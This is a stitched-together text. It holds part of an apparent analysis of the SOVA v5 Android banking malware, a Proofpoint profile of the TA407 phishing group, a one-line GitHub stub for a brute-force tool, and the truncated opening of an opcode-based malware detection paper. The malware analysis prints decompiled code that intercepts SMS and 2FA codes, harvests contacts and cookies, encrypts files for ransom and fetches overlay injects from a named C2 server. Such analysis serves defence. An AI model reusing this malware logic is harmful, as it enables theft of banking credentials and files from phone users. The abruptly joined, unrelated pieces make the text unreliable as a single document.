</intent-filter> <meta-data android:name="android.accessibilityservice" android:resource="@xml/accessibilityservice"/> </service> ``` The capabilities in `@xml/accessibilityservice` are `canRetrieveWindowContent` to retrieve the content of the window, `accessibilityEventTypes` to get all types of events which helps the malware to maintain more persistence in the victim’s device. This allows the malware to get SMS notifications when the device gets an SMS message. The malware sets the priority to `9999`, which allows the malware to get the SMS notification before the system messaging apps. Then the malware deletes or sends it to the C2 server or does whatever it wants. This helps in stealing 2FA SMS. ```xml <receiver android:enabled="true" android:exported="true" android:name="com.devapprove.a.ru.news.SmsReceiver" android:permission="android.permission.BROADCAST_SMS"> <intent-filter android:priority="9999"> <action android:name="android.provider.Telephony.SMS_DELIVER"/> </intent-filter> </receiver> ``` ## Dive into packed classes.ex Now after we know that the malware is packed, which will drop the unpacked file that contains the malicious functions the malware will do to the victim’s device. Another indication of packing is by using the droidlysis tool which extracts properties about the app. ```bash droidlysis --input 7c805f51ee3b2994e742d73954e51d7c2c24c76455b0b9a1b44d61cb4e280502.apk ``` We get lots of info about the app such as activities, permissions, URLs, and suspicious classes. Suspicious classes such as `DexClassLoader`, which is a class loader that loads classes from `.jar` and `.apk` files containing a `classes.dex` entry. This can be used to execute code not installed as part of an application. The most important parameter of the `DexClassLoader` is the first parameter `dexPath`, which represents the path to the unpacked dex. We will get the name of the encrypted file which will be loaded at runtime. The name will be in plaintext or will be encoded. ### How we will find this file? You can see the Unpacking video from Here. First, search for `DexClassLoader` in the decompiler such as `jadx-gui`. Then find references by pressing `x` to class, and keep finding references until finding `attachBaseContext` method, which is the function that packers usually override to perform these tasks since it is called by the framework even before. After searching for `DexClassLoader`, we find `uncovercherry` class and use `x` to find reference to this class. Now we find `String dexpath = nobleamong(clusterhole);`, we enter `nobleamong` class, then we get `return nuclearinquiry(str);`, enter `nuclearinquiry`, then `inflictair`. We get `return new File(str, this.REpOzCiHoGjQpWpQqNnBtIu);`, enter `REpOzCiHoGjQpWpQqNnBtIu`, and then `ketchupold`, then `globeonline`. Now, in this class, we will get the name of the encrypted file which will be loaded at runtime. But it seems to be encoded, so we need to write code to decode it. ```java public class Main { public static String lawtwist(int arg9) { byte[] encrypted = new byte[] {80, 103, 114, 87, 100, 90, 90, 61, 121, 96, 124, 125}; byte[] result = new byte[12]; byte[] key = new byte[]{19}; int i = 0; while (i < 12) { result[i] = (byte)(encrypted[i] ^ key[i % 1]); i++; } return new String(result); } public static void main(String[] args) { System.out.println("Decoded filename: "+ Main.lawtwist(0 /* whatever */)); } } ``` Now how will we get the file? We will run the APK in a virtual environment such as Android Studio, then we use `adb` to pull the decrypted file. So we need to know where the decrypted `CtaDwII.json` file will be unpacked in Android Studio. You can use Dexcalibur, but I have problems while installing, so I used Hatching triage report to locate the decrypted `CtaDwII.json` file. The file is located in `/data/user/0/com.bean.cousin/app_DynamicOptDex/CtaDwII.json`. Before we pull the file, you need to copy `CtaDwII.json` to a user folder, not root folder such as `/sdcard/`, then pull this dex file which we will analyze instead of `classes.dex`. The decrypted `CtaDwII.json` file SHA256 hash: `f6776bddb6a62dfaabcdf46eb1d5e22374ba0cfbabc45915ba887637b2f28c71`. ## Dive into dropped dex SOVA malware has multiple versions; in each version, malware authors implement new features. This sample is SOVA v5. New features got added such as ransomware capability with AES algorithm. In the `Const` method, we get all the capabilities of the malware. The malware can perform malicious functions such as intercepting 2FA, deleting apps, stealing SMS and contacts, forwarding calls, keylogging, or muting the device. In the end, I will explain in brief every function the malware does. ```java Const.INSTANCE = new Const(); Const.PERMISSION_LIST = Build.VERSION.SDK_INT < 26 ? CollectionsKt.listOf(new String[]{"android.permission.READ_SMS", "android.permission.SEND_SMS", "android.permission.RECEIVE_SMS", "android.permission.READ_CONTACTS", "android.permission.WRITE_CONTACTS", "android.permission.READ_PHONE_STATE"}) : CollectionsKt.listOf(new String[]{"android.permission.READ_SMS", "android.permission.SEND_SMS", "android.permission.RECEIVE_SMS", "android.permission.READ_CONTACTS", "android.permission.WRITE_CONTACTS", "android.permission.READ_PHONE_STATE", "android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.MODIFY_AUDIO_SETTINGS", "android.permission.READ_EXTERNAL_STORAGE", "android.permission.INSTALL_PACKAGES", "android.permission.CALL_PHONE", "android.permission.GET_ACCOUNTS", "android.permission.READ_PHONE_NUMBERS", "android.permission.CLEAR_APP_CACHE"}); Const.get2fa = "get2fa"; Const.start2faactivator = "start2faactivator"; Const.stop2faactivator = "stop2faactivator"; Const.delbot = "delbot"; Const.openUrl = "openurl"; Const.startlock = "startlock"; Const.stoplock = "stoplock"; Const.admin = "getperm"; Const.delapp = "delapp"; Const.starthidenpush = "starthidenpush"; Const.stophidenpush = "stophidenpush"; Const.hidesms = "starthidesms"; Const.stophidensms = "stophidensms"; Const.scancookie = "scancookie"; Const.stopcookie = "stopcookie"; Const.scaninject = "scaninject"; Const.stopscan = "stopscan"; Const.getsms = "getsms"; Const.startkeylogs = "startkeylogs"; Const.stopkeylogs = "stopkeylogs"; Const.contactssender = "contactssender"; Const.sendsms = "sendsms"; Const.openinject = "openinject"; Const.getapps = "getapps"; Const.sendpush = "sendpush"; Const.enableinject = "enableinject"; Const.runapp = "runapp"; Const.callForward = "forwardcall"; Const.call = "call"; Const.disableinject = "disableinject"; Const.getcontacts = "getcontacts"; Const.startMute = "startmute"; Const.stopMute = "stopmute"; Const.gettrustwallet = "gettrustwallet"; Const.getexodus = "getexodus"; Const.remote = new Remote(null, null, null, 7, null); ``` Now I will start explaining the major functions of the malware such as stealing SMS and contacts, ransomware, intercepting 2FA, overlay attack, forwarding calls, and mute state. In the `PingTasks` method, we will find commands from the C2 server which will be received by the malware to perform the malicious functions. We will show the command from the C2 server and then explain the function of the command. In this version of SOVA, the malware comes with ransomware capability which will encrypt the victim’s files with AES algorithm and the extension of the encrypted files will be `.enc`. ```java public void onCreate() { Intrinsics.checkNotNullExpressionValue("Created encryptor service", "TDE(\"Created encryptor service\")"); RemoteLogger.log$default(this.logger, "Created encryptor service", null, null, null, 14, null); super.onCreate(); } @Override // android.app.Service public void onDestroy() { super.onDestroy(); Intrinsics.checkNotNullExpressionValue("Destroyed encryptor service", "TDE(\"Destroyed encryptor service\")"); RemoteLogger.log$default(this.logger, "Destroyed encryptor service", null, null, null, 14, null); } private final void onEncryptionEnd() { Intrinsics.checkNotNullExpressionValue("Stopped encryptor", "TDE(\"Stopped encryptor\")"); RemoteLogger.log$default(this.logger, "Stopped encryptor", null, null, null, 14, null); this.preferences.isDeviceEncrypted(Boolean.valueOf(true)); this.stopForeground(true); this.stopSelf(); } private final void onEncryptionStart() { if((Preferences.isDeviceEncrypted$default(this.preferences, null, 1, null)) && this.mode == WorkType.ENCRYPT) { Intrinsics.checkNotNullExpressionValue("Device already encrypted", "TDE(\"Device already encrypted\")"); RemoteLogger.log$default(this.logger, "Device already encrypted", null, null, null, 14, null); this.stopForeground(true); this.stopSelf(); } Intrinsics.checkNotNullExpressionValue("Started encryptor", "TDE(\"Started encryptor\")"); RemoteLogger.log$default(this.logger, "Started encryptor", null, null, null, 14, null); Function1 function10 = (Function1)new EncryptorService.onEncryptionStart.1(this); this.aesEncryptor.setLog(function10); BuildersKt__Builders_commonKt.launch$default(CoroutineScopeKt.CoroutineScope(((Corouti null, null, ((Function2)new EncryptorService.onEncryptionStart.2(this, null)), 3, null); } @Override // android.app.Service public int onStartCommand(Intent intent0, int v, int v1) { this.startForeground(3, ContextNotificationExtensions.INSTANCE.createManagingServiceNotification(((Context)this)); this.mode = intent0 == null || !intent0.getBooleanExtra("decrypt", false) ? WorkType.ENCRYPT : WorkType.DECRYPT; this.onEncryptionStart(); return 1; } ``` The malware will receive a command related to two-factor authentication (2FA) to start or stop collecting 2FA authentication codes from the victim device, then send the 2FA message to the C2 server. The malware will run the `Google Authenticator` app and get the content of the opened interface by abusing `Accessibility Service`. ```java if(Intrinsics.areEqual(s, "start2faactivator")) { preferences0.is2FAActivatorEnabled(boolean0); return; } Inject inject0 = null; if(Intrinsics.areEqual(s, "stop2faactivator")) { Log.d("2FA", String.valueOf(Preferences.is2FAActivatorEnabled$default(preferences0, null, 1, null))); preferences0.is2FAActivatorEnabled(Boolean.valueOf(false)); return; } if(Intrinsics.areEqual(s, "get2fa")) { AppKt.log$default(this, "Request Google auth app", null, null, 6, null); if(!workerService1.checkScreenState(command0)) { return; } if(ContexStartExtensionsKt.startApp(context0, "com.google.android.apps.authenticator2")) { preferences0.is2FARequested(boolean0); return; } } ``` The malware will try to steal 2FA codes generated by the `Google Authenticator` app. This can happen if the malware takes `Accessibility Service` permission. If the authenticator app is running, the malware can get the content of the opened activity (interface) and then upload this information to the C2 server. By this way, the malware can get the 2FA to bypass the protection of the banking accounts. ```java public final boolean is2FAActivatorEnabled(Boolean boolean0) { if(boolean0 != null) { this.prefsEditor().putBoolean("is2FAActivatorEnabled", boolean0.booleanValue()).apply(); return boolean0.booleanValue(); } return this.prefs().getBoolean("is2FAActivatorEnabled", false); } public static boolean is2FAActivatorEnabled$default(Preferences preferences0, Boolean boolean0, int v, Object object0) { if(object0 == null) { if((v & 1) != 0) { boolean0 = null; } return preferences0.is2FAActivatorEnabled(boolean0); } throw new UnsupportedOperationException("Super calls with default arguments not supported in this target, function: is2FAActivatorEnabled"); } public final boolean is2FARequested(Boolean boolean0) { if(boolean0 != null) { this.prefsEditor().putBoolean("is2FARequested", boolean0.booleanValue()).apply(); return boolean0.booleanValue(); } return this.prefs().getBoolean("is2FARequested", false); } public static boolean is2FARequested$default(Preferences preferences0, Boolean boolean0, int v, Object object0) { if(object0 == null) { if((v & 1) != 0) { boolean0 = null; } return preferences0.is2FARequested(boolean0); } throw new UnsupportedOperationException("Super calls with default arguments not supported in this target, function: is2FARequested"); } ``` The malware will perform an overlay attack when the victim opens a specific app, usually banking apps or cryptocurrency apps, to steal the victim’s credentials. In previous versions, the malware puts targeted apps in `packageList.txt` in the `assets/` folder. In version 5, the malware will request all installed packages on the victim’s device, and then request needed WebViews for targeted apps. The command `openinject` will open the downloaded WebView by requesting `injectlist` from the C2 server when a targeted app is opened. The malware knows that the victim opens a targeted app by monitoring the screen. ```java if(Intrinsics.areEqual(s, "openinject")) { Companion browserActivity$Companion0 = BrowserActivity.Companion; Context context7 = workerService0.getApplicationContext(); Intrinsics.checkNotNullExpressionValue(context7, "workerService.applicationContext"); StringBuilder stringBuilder0 = new StringBuilder().append("http://satandemantenimiento.com").append("/downloadinject?access=").append("1").append("&packagename="); List list0 = command0.getInjectlist(); if(list0 != null) { inject0 = (Inject)list0.get(0); } Intrinsics.checkNotNull(inject0); workerService1.startActivity(browserActivity$Companion0.newInstance(context7, stringBuilder0.append(inject0.getPacket()).append("&type=html").toString(), ((Inject)command0.getInjectlist().get(0)).getGetcookie(), ((Inject)command0.getInjectlist().get(0)).getPacket()).addFlags(0x10000000)); return; } if(Intrinsics.areEqual(s, "enableinject")) { this.scanInject(command0, workerService0); return; } if(Intrinsics.areEqual(s, "disableinject")) { Preferences preferences1 = workerService0.getPreferences(); List list1 = command0.getInjectlist(); Intrinsics.checkNotNull(list1); preferences1.deleteInjects(list1); return; } ``` This is how malware performs overlay attacks. The malware will try to steal cookies using the `getCookie` command, which we will explain, using `cookieManager`. ```java protected void onCreate(Bundle bundle0) { super.onCreate(bundle0); this.getWindow().requestFeature(8); ActionBar actionBar0 = this.getActionBar(); if(actionBar0 != null) { actionBar0.hide(); } this.setTitle(""); try { this.setContentView(0x7F0B0022); View view0 = this.findViewById(0x7F0800B8); Intrinsics.checkNotNullExpressionValue(view0, "findViewById(R.id.web_view)"); WebView webView0 = (WebView)view0; webView0.getSettings().setJavaScriptEnabled(true); String s = null; webView0.setLayerType(2, null); String s1 = this.getIntent().getStringExtra("link"); Log.i("INJECT_URL", Intrinsics.stringPlus("", s1)); boolean z = this.getIntent().getBooleanExtra("getCookie", false); this.packet = this.getIntent().getStringExtra("packet"); StringBuilder stringBuilder0 = new StringBuilder().append("Web activity started. Navigate to: "); if(s1 != null) { s = s1.toString(); } AppKt.log$default(this, stringBuilder0.append(s).append(". Get cookie: ").append(((boolean)(((int)z)))).toString(), null, null, 6, null); CookieManager cookieManager0 = CookieManager.getInstance(); CookieSyncManager.createInstance(this.getApplicationContext()); if(Build.VERSION.SDK_INT >= 21) { cookieManager0.setAcceptThirdPartyCookies(webView0, true); } else { cookieManager0.setAcceptCookie(true); } cookieManager0.acceptCookie(); CookieSyncManager.getInstance().startSync(); Intrinsics.checkNotNullExpressionValue(cookieManager0, "cookieManager"); this.setClient(webView0, ((boolean)(((int)z))), cookieManager0); this.setChromeClient(webView0); webView0.getSettings().setDomStorageEnabled(true); webView0.addJavascriptInterface(new BrowserActivity.onCreate.1(this), "Android"); webView0.addJavascriptInterface(new BrowserActivity.onCreate.2(), "recorder"); if(s1 != null) { webView0.loadUrl(s1); return; } } catch(Exception unused_ex) { return; } } ``` The malware will steal cookies from the opened apps using `scancookie` using `cookieManager`. After collecting cookies, the malware will stop scanning using the `stopcookie` command. ```java if(Intrinsics.areEqual(s, "scancookie")) { try { this.scanCookie(command0, workerService0); } catch(Exception unused_ex) { } return; } if(Intrinsics.areEqual(s, "stopcookie")) { AppKt.log$default(this, "stop cookie received. cleaning preferences ...", null, null, 6, null); workerService0.getPreferences().currentCookie("[]"); return; } if(Intrinsics.areEqual(s, "stopscan")) { workerService0.getPreferences().currentCookie("[]"); return; } ``` The malware has the capability to store keystrokes of the victim using `startkeylogs`. This helps to steal the victim’s banking credentials or login credentials. The malware sends the stored keylogs to `/keylog.php`. It can stop storing keylogs using `stopkeylogs`. ```java if(Intrinsics.areEqual(s, "stopkeylogs")) { preferences0.isKeyLoggerIsEnabled(Boolean.valueOf(false)); return; } if(Intrinsics.areEqual(s, "startkeylogs")) { preferences0.isKeyLoggerIsEnabled(boolean0); return; } ``` The malware will set the device to mute state using `startmute` command. So when the device gets a notification, the victim won’t notice. Then the malware will intercept the incoming SMS. This makes the received SMS hidden from the victim. This is useful for the attacker to get OTP. By using `stophidesms` command, this command stops hiding received SMS. Another command is to get SMS `getsms` to get the stored SMS on the victim’s device, then upload to the C2 server using `sendsms` command. ```java if(Intrinsics.areEqual(s, "stophidesms")) { if(!workerService1.checkScreenState(command0)) { return; } if(Intrinsics.areEqual(Telephony.Sms.getDefaultSmsPackage(context0), workerService0.getPackageName())) { preferences0.loopnotifEnabled(Boolean.valueOf(false)); this.stopHiddenPush(workerService1); workerService0.getPreferences().isHiddenSMSEnabled(Boolean.valueOf(false)); workerService0.getPreferences().isNeedChangeDefaultToChrome(false); workerService0.getPreferences().isNeedChangeDefaultToMessages(true); Context context3 = workerService0.getApplicationContext(); Intrinsics.checkNotNullExpressionValue(context3, "workerService.applicationContext"); if(!ContexStartExtensionsKt.startApp(context3, "com.samsung.android.messaging")) { Context context4 = workerService0.getApplicationContext(); Intrinsics.checkNotNullExpressionValue(context4, "workerService.applicationContext"); if(!ContexStartExtensionsKt.startApp(context4, "com.android.messaging")) { Context context5 = workerService0.getApplicationContext(); Intrinsics.checkNotNullExpressionValue(context5, "workerService.applicationContext"); if(!ContexStartExtensionsKt.startApp(context5, "com.google.android.apps.messaging")) { Context context6 = workerService0.getApplicationContext(); Intrinsics.checkNotNullExpressionValue(context6, "workerService.applicationContext"); ContexStartExtensionsKt.startApp(context6, "com.android.mms"); return; } } } } } if(Intrinsics.areEqual(s, "getsms")) { ContexStartExtensionsKt.overlay$default(context0, 0, ((Function0)new PingTasks.onPingReceived.3(workerService1)), 0, 5, null); return; } if(Intrinsics.areEqual(s, "sendsms")) { ContexStartExtensionsKt.sendSMS(context0, command0.getNumber(), command0.getText()); return; } if(Intrinsics.areEqual(s, "startmute")) { this.mutePhone(context0); return; } if(Intrinsics.areEqual(s, "stopmute")) { this.unmutePhone(context0); return; } ``` The malware collects the SMS stored in the victim’s device and sends it to the C2 server. This happens by collecting the body and the address (number) of the SMS message. ```java public void onReceive(Context context0, Intent intent0) { try { SmsMessage[] arr_smsMessage = Telephony.Sms.Intents.getMessagesFromIntent(intent0); Intrinsics.checkNotNullExpressionValue(arr_smsMessage, "smsMessages"); int v = 0; while(true) { if(v >= arr_smsMessage.length) { return; } SmsMessage smsMessage0 = arr_smsMessage[v]; ++v; Intrinsics.checkNotNullExpressionValue(Uri.parse("content://sms"), "parse(\"content://sms\")"); String s = smsMessage0.getMessageBody(); Intrinsics.checkNotNullExpressionValue(s, "message.messageBody"); String s1 = smsMessage0.getOriginatingAddress(); Intrinsics.checkNotNull(s1); Intrinsics.checkNotNullExpressionValue(s1, "message.originatingAddress!!"); new SendSms(s, s1).justExecute(); StringBuilder stringBuilder0 = new StringBuilder().append("Sending SMS Message ("); String s2 = smsMessage0.getOriginatingAddress(); Intrinsics.checkNotNull(s2); AppKt.log$default(this, stringBuilder0.append(s2).append(",").append(smsMessage0.getMessageBody()).append(')').toString(), null, null, 6, null); this.abortBroadcast(); } } catch(Exception unused_ex) { return; } } ``` The malware will start collecting contacts to gain new victims by sending phishing SMS. ```java if(Intrinsics.areEqual(s, "contactssender")) { HashMap hashMap0 = Contacts.getContactList(context0); for(Object object0: hashMap0.keySet()) { String s1 = (String)object0; try { Object object1 = hashMap0.get(s1); Intrinsics.checkNotNull(object1); Intrinsics.checkNotNullExpressionValue(object1, "contacts[i]!!"); ContexStartExtensionsKt.sendSMS(((Context)workerService1), ((String)object1), command0.getText()); } catch(Exception unused_ex) { return; } } } if(Intrinsics.areEqual(s, "getcontacts")) { ContextAccessesExtensionsKt.sendImAlive(context0, preferences0, workerService0.getLogger()); return; } ``` The malware creates a loop to collect the contacts by collecting the `id`, `display_name`, and `number`, then save this info to `data1` to upload this file to the C2 server. ```java public class Contacts { public static HashMap getContactList(Context context0) { ContentResolver contentResolver0 = context0.getContentResolver(); Cursor cursor0 = contentResolver0.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); HashMap hashMap0 = new HashMap(); if((cursor0 == null ? 0 : cursor0.getCount()) > 0) { while(cursor0.moveToNext()) { String s = cursor0.getString(cursor0.getColumnIndex("_id")); String s1 = cursor0.getString(cursor0.getColumnIndex("display_name")); if(cursor0.getInt(cursor0.getColumnIndex("has_phone_number")) <= 0) { continue; } Cursor cursor1 = contentResolver0.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = ?", new String[]{s}, null); while(cursor1.moveToNext()) { hashMap0.put(s1, cursor1.getString(cursor1.getColumnIndex("data1"))); } cursor1.close(); } } if(cursor0 != null) { cursor0.close(); } return hashMap0; } } ``` The malware connects to `http://ip-api.com` to retrieve the IP and location of the victim. If the IP is located in `listCountryToIgnore`, the malware will ignore the victim’s device and not perform the malicious functions. ```java static { Intrinsics.checkNotNullExpressionValue("aHR0cDovL3NhdGFuZGVtYW50ZW5pbWllbnRvLmNvbQ==", "TDE(\"aHR0cDovL3NhdGFuZGV…W50ZW5pbWllbnRvLmNvbQ==\")"); ConstKt.SERVER_ADDRESS = "aHR0cDovL3NhdGFuZGVtYW50ZW5pbWllbnRvLmNvbQ=="; Intrinsics.checkNotNullExpressionValue("MQ==", "TDE(\"MQ==\")"); ConstKt.ACCESS_VALUE = "MQ=="; ConstKt.listCountryToIgnore = CollectionsKt.listOf(new String[]{"AZ", "AM", "BY", "KZ", "KG", "MD", "RU", "TJ", "UZ", "UA", "ID"}); } ``` We come to the end. There are some other commands such as `delbot` to delete the bot from the victim’s device, `starthidenpush` to hide pushing notifications, `delapp` to delete apps from the device, `call` to call action from the device, `callforward` to forward a phone call to the attacker, and more commands found in this malware. ## Dynamic After installing the malicious APK and opening the APK, the malware will keep asking you for granting the `Accessibility Service` to maintain persistence. After granting, the malware will be able to get the permission by itself as if it makes itself home. ## IoC | No. | Description | Hash and URLs | |-----|-------------|----------------| | 1 | APK (MD5) | 74b8956dc35fd8a5eb2f7a5d313e60ca | | 2 | The unpacked dex (MD5) | f7f7cdf82b7b6c72882a6172213d0aff | | 3 | C2 server | http://satandemantenimiento.com | | 4 | C2 server | http://wecrvtbyutrcewwretyntrverfd.xyz | **Article quote** بورﱡﺪﻟا ِتﺎﻜ ِﻠﻬ ُﻣ ﻲﻓ ُﻞ َﺣﺮﺗو ِحﻼ ﱠﺼﻟاو ى َﺪُﻬﻟا َبرد ُﺮ ُﺠﻬﺗأ ## References - SOVA malware is back and is evolving rapidly - Android Dev - Unpacking process - [Mal Series #20] Android libarm_protect packer
# Threat Actor Profile: TA407, the Silent Librarian In our September 5, 2019, Threat Insight post, “Seems Phishy: Back To School Lures Target University Students and Staff,” we discussed the seasonal uptick of phishing campaigns directed at university students and staff, usually between June and October of every year. Since then, colleagues at Secureworks have provided further details on one actor we highlighted, tracked by Proofpoint as TA407, also known as Silent Librarian, Cobalt Dickens, and Mabna Institute. This blog provides additional insight into the actor and their evolving TTPs in ongoing academia and university campaigns. Like many educational phishing attacks, campaigns associated with TA407 are typically not geographically targeted but rather tied to specific universities, with phishing landing pages developed for library and student or faculty access portals. While many attacks are directed at schools in the United States, Proofpoint researchers regularly observe campaigns affecting universities primarily in North America and Europe. Silent Librarian is a prolific financially motivated actor operating out of Iran. In early 2018, the US Department of Justice indicted nine members of the cybercrime group for hacking, wire fraud, and identity theft. The group was cited for obtaining unauthorized access to computer systems, stealing proprietary data from those systems, and selling that stolen data to Iranian customers, including the Iranian government and Iranian universities. The indictment alleges that between 2013 and 2017, TA407’s activities resulted in the following damages: - Approximately $3.4 billion worth of intellectual property loss due to unauthorized access - 31.5 terabytes of academic data and IP theft from compromised universities - 7998 university accounts were successfully compromised worldwide - 3768 accounts compromised that belonged to professors at US-based universities Victims of the scheme included: - Approximately 144 universities in the United States - 176 foreign universities in 21 countries - Five federal and state government agencies in the United States - 36 private companies in the United States - 11 foreign private companies - Two international non-governmental organizations The DOJ indictments, however, have had no appreciable effect on the group’s activities, and university email account compromises are ongoing, building on the success of previous campaigns. ## Mabna Institute Tactics, Techniques, and Procedures Mabna Institute (AKA TA407) primarily targets universities and higher education institutions worldwide with low-volume (tens or hundreds of messages), target-specific campaigns. These university phishing campaigns utilize well-crafted social engineering mechanisms including: - Stolen university branding - Fake email signatures/credentials/addresses - University-specific email bodies/portal clones - Themed subject lines (e.g., “Renewal of loaned items”, “Renew your loaned items”, “Renewal of materials”, "Overdue notice on loaned items", and "Library Services") Since the beginning of 2019, Proofpoint researchers observed several TA407 campaigns distributing phishing URLs leading to clones of university library login pages. Although TA407 has made minor updates to their social engineering techniques and infrastructure, their strategies have been overall rather consistent. Many of these campaigns use the same lures with minor variations in phrasing. Historically, the group has employed a series of phishing origin points, abusing access first at one university and then another. TA407 makes extensive use of Freenom domains to host credential phishing landing pages; the group then abuses compromised accounts at universities to phish users at other universities, compromising additional accounts and spreading from school to school. Proofpoint researchers have observed changes in TA407’s tactics, techniques, and procedures (TTPs), particularly in their use of URL shorteners, linking, and abuse of legitimate services and infrastructure. While the group does not always use URL shorteners, these frequently appear in their mix of linking and redirection techniques. The following Freenom domains were observed in use by TA407 in September: - atll[.]tk - azll[.]tk - cllt[.]cf - cllt[.]tk - fill[.]cf - itll[.]tk - llit[.]cf - lliz[.]cf - nlll[.]tk - ntil[.]cf - sitt[.]cf - tlit[.]cf - ttit[.]cf - visc[.]cf - xill[.]cf - zlll[.]tk Proofpoint researchers frequently observe Silent Librarian’s phishing attempts originating from a university unrelated to their current target using a separate, unrelated university’s URL shortening service. This short URL links to a phishing landing page either directly or via one or more third-party sites that eventually lands the user on a clone of a login portal hosted on an actor-controlled server. Over time, Proofpoint researchers have observed TA407 abuse several short URL services for initial redirection to phishing landing pages. These have included the now discontinued Google URL shortening service, .ir-based short URL services, and .edu URL shorteners. We observed apparent experimentation with university-based URL shorteners prior to the discontinuation of Google’s goo.gl services. Earlier in 2019, after goo.gl was discontinued, abuse of university URL shortening services appeared to increase and has been observed as recently as September of 2019. ## Campaign Lure Examples Very little has changed with TA407’s phishing lures in 2019. Most phish lures are themed around library access. Over time, Proofpoint researchers have observed slight adjustments in lure verbiage, but most continue to emphasize loss of library access privileges. In many examples, TA407 uses stolen branding from the university being targeted. TA407 has demonstrated awareness of close to real-time changes in authentication portal traits, such as weather notification banners, that are sometimes reflected on the landing page clones used in their campaigns. The awareness manifests in both the lure wording and/or landing page appearance. However, Proofpoint researchers do occasionally observe what appears to be an outdated clone of a previous version of their target's portal, suggesting either inconsistent updates or coincidental timing of clone updates. ## Conclusion Last year’s DOJ indictments had no appreciable effect on curtailing the activities of TA407. Campaigns with the apparent intent to compromise user accounts at universities are ongoing with new Freenom domains appearing in September to host phishing pages. Most notably, TA407 takes advantage of publicized downtime and weather alerts, among other events, to add credibility to the phish, increasing the risk for universities and their constituents. In its attacks, TA407 uses a series of phishing origin points, abusing access first at one university and then another for use against new targets. The group then appears to continue the cycle with a chosen subset of freshly compromised accounts. The changes in URL shorteners, linking, and hosting practices described here make detection of TA407’s activities increasingly difficult for defenders and demonstrate the adaptability and innovation that have enabled this threat actor to drive billions of dollars in losses in terms of intellectual property theft and resale of stolen journal subscriptions. Proofpoint recommends that universities remain vigilant against these threats to prevent losses and protect valuable IP and personal information. Implementing two-factor authentication within publicly exposed systems can help mitigate overall attack risk and substantially increase the level of effort needed by threat actors to compromise university accounts. ## Appendix: List of OpenTLD and Freenom domains used by TA407 since January 2019 **Month observed in campaigns:** - **January**: aill[.]nl, cnen[.]cf, eill[.]nl, libt[.]ga - **February**: aill[.]nl, cnen[.]cf, eill[.]nl, libt[.]ga - **March**: aill[.]nl, cnen[.]cf, flil[.]cf, libt[.]ga, llif[.]cf, llit[.]cf, llli[.]cf, lllt[.]cf - **April**: cill[.]ml, cnen[.]cf, cvve[.]cf, eill[.]cf, eill[.]ga, flil[.]cf, illl[.]cf, libdo[.]cf, libt[.]ga, lllt[.]cf, ncce[.]cf, nlib[.]ml, nlll[.]cf, nuec[.]cf, rvna[.]cf - **May**: azll[.]cf, clll[.]cf, cvve[.]cf, flll[.]cf, libn[.]gq, libt[.]ga, ssll[.]cf - **June**: blibo[.]ga, cvve[.]cf, elll[.]cf, euve[.]tk, flll[.]cf, jlll[.]cf, libk[.]ga, libm[.]ga, libt[.]ga, libw[.]gq, lllib[.]cf, mlibo[.]ml, nlll[.]cf, nlll[.]tk, tlll[.]cf - **July**: cvve[.]cf, elll[.]cf, libb[.]ga, libf[.]ga, libk[.]ga, libt[.]ga, llii[.]xyz, lzll[.]cf, ntll[.]cf, ntll[.]tk, venc[.]cf - **August**: clll[.]tk, cllt[.]tk, ills[.]cf, itll[.]tk, liba[.]gq, libe[.]cf, libe[.]ga, libf[.]ga, librt[.]ml, libver[.]ml, llit[.]cf, llli[.]nl, ntll[.]tk, stll[.]tk, tlll[.]tk, ttll[.]cf, ulll[.]tk, visc[.]cf, vtll[.]cf - **September**: atll[.]tk, azll[.]tk, cllt[.]cf, cllt[.]tk, fill[.]cf, itll[.]tk, llit[.]cf, lliz[.]cf, nlll[.]tk, ntil[.]cf, sitt[.]cf, tlit[.]cf, ttit[.]cf, visc[.]cf, xill[.]cf, zlll[.]tk
# DUBrute github.com/ch0sys/DUBrute ch0sys
# Idea: Opcode-Sequence-Based Malware Detection **Igor Santos**, **Felix Brezo**, **Javier Nieves**, **Yoseba K. Penya**, **Borja Sanz**, **Carlos Laorden**, **Pablo G. Bringas** S3Lab, eNergy Lab University of Deusto, Bilbao, Spain {isantos, felix.brezo, javier.nieves, yoseba.penya, borja.sanz, claorden, pablo.garcia.bringas}@deusto.es ## Abstract Malware is every malicious code that has the potential to harm any computer or network. The amount of malware is increasing faster every year and poses a serious security threat. Hence, malware detection has become a critical topic in computer security. Currently, signature-based detection is the most extended method within commercial antivirus. Although this method is still used on most popular commercial computer antivirus software, it can only achieve detection once the virus has already caused damage and is registered. Therefore, it fails to detect new variations of known malware. In this paper, we propose a new method to detect variants of known malware families. This method is based on the frequency of appearance of opcode sequences. Furthermore, we describe a method to mine the relevance of each opcode and, thereby, weigh each opcode sequence frequency. We show that this method provides an effective way to detect variants of known malware families. **Key words:** malware detection, computer security, machine learning ## 1 Introduction Malware (or malicious software) is every computer software that has harmful intentions, such as viruses, Trojan horses, spyware, or Internet worms. The amount, power, and variety of malware increase every year as well as its ability to avoid all kinds of security barriers due to, among other reasons, the growth of the Internet. Furthermore, malware writers use code obfuscation techniques to disguise an already known security threat from classic syntactic malware detectors. These facts have led to a situation in which malware writers develop new viruses and different ways for hiding their code, while researchers design new tools and strategies to detect them. Generally, the classic method to detect malware relies on a signature database (i.e., list of signatures). An example of a signature is a sequence of bytes that is always present in a concrete malware file and within the files already infected by that malware. In order to determine a file signature for a new malware executable and to finally find a proper solution for it, specialists have to wait until that new malware instance has damaged several computers or networks. In this way, malware is detected by comparing its bytes with that list of signatures. When a match is found, the tested file will be identified as the malware instance it matches with. This approach has proved to be effective when the threats are known beforehand, and it is the most extended solution within antivirus software. Still, upon a new malware appearance and until the corresponding file signature is obtained, mutations (i.e., aforementioned obfuscated variants) of the original malware may be released in the meanwhile. Therefore, classic signature-based malware detectors fail to detect those new variants. Against this background, we advance the state of the art in two main ways. First, we address a new method that is able to mine the relevance of an opcode (operational code) for detecting malicious behavior. Specifically, we compute the frequency with which the opcode appears in a collection of malware and in a collection of benign software and, hereafter, we calculate a discrimination ratio based on statistics. In this way, we finally acquire a weight for each opcode. Second, we propose a new method to compute similarity between two executable files that relies on opcode sequence frequency. We weigh this opcode sequence frequency with the obtained opcode relevance to balance each sequence in the way how discriminant the composing opcodes are. ## 2 Mining Opcode Relevance Opcodes (or operational codes) can act as a predictor for detecting obfuscated or metamorphic malware. Some of the opcodes (i.e., mov or push), however, have a high frequency of appearance within malware and benign executables; therefore, the resultant similarity degree (if based on opcode frequency) between two files can be somehow distorted. Hence, we propose a 